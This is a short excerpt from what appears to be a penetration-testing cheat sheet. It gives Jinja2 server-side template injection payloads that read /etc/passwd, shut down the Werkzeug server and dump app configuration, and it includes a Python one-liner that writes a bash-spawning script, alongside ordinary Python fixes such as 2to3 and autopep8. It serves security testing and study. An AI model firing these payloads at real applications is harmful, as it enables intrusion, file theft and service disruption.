• Check with {{ 7+3 }} if this is exe­cut­ed, if a Python inter­preter is using the tem­plate jin­ja engine. {{ 7+3 }}{{[].__class__.__base__.__subclasses__().pop(40)('etc/passwd').read() }}{{ request.environ[‘werkzeug.server.shutdown’]() }} // ...{{ config.items() }} // Read all config variables{{ config|pprint }} Exam­ple:

  • Python

    Con­vert a Python2 script into a Python3 script: 2to3 -w example.py Fix tab/space/identation problems: autopep8 -i linuxprivchecker.py If a library is installed, but can­not found from smb.SMBConnection import SMBConnection then try to search the file local­ly and include the path manually: import syssys.path.append("path/to/your/file") One­lin­er for exe­cut­ing bash in a file: echo 'import os;os.system("/bin/bash")' > /tmp/e.py Exe­cute something:…